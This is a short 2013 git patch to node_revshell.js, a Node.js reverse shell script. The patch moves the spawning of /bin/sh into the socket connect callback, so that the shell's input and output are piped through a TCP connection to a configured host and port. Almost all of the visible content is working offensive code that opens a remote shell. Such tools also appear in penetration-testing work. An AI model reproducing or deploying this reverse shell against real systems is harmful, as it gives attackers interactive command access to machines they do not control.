From 2de5b84a2f8218843a9b1c24b069ef846efdd2f3 Mon Sep 17 00:00:00 2001 From: Adam Baldwin Date: Sun, 14 Jul 2013 12:59:41 -0700 Subject: [PATCH] moved stuff around a bit for rev shell --- node_revshell.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/node_revshell.js b/node_revshell.js index b673c1b..72b8a6f 100644 --- a/node_revshell.js +++ b/node_revshell.js @@ -1,6 +1,5 @@ -var net = require('net'), -spawn = require('child_process').spawn, -sh = spawn('/bin/sh',[]); +var net = require('net'); +var spawn = require('child_process').spawn; HOST="localhost"; PORT="1234"; @@ -9,6 +8,7 @@ TIMEOUT="5000"; function c(HOST,PORT) { var client = new net.Socket(); client.connect(PORT, HOST, function() { + var sh = spawn('/bin/sh',[]); client.write("Connected\r\n"); client.pipe(sh.stdin); sh.stdout.pipe(client);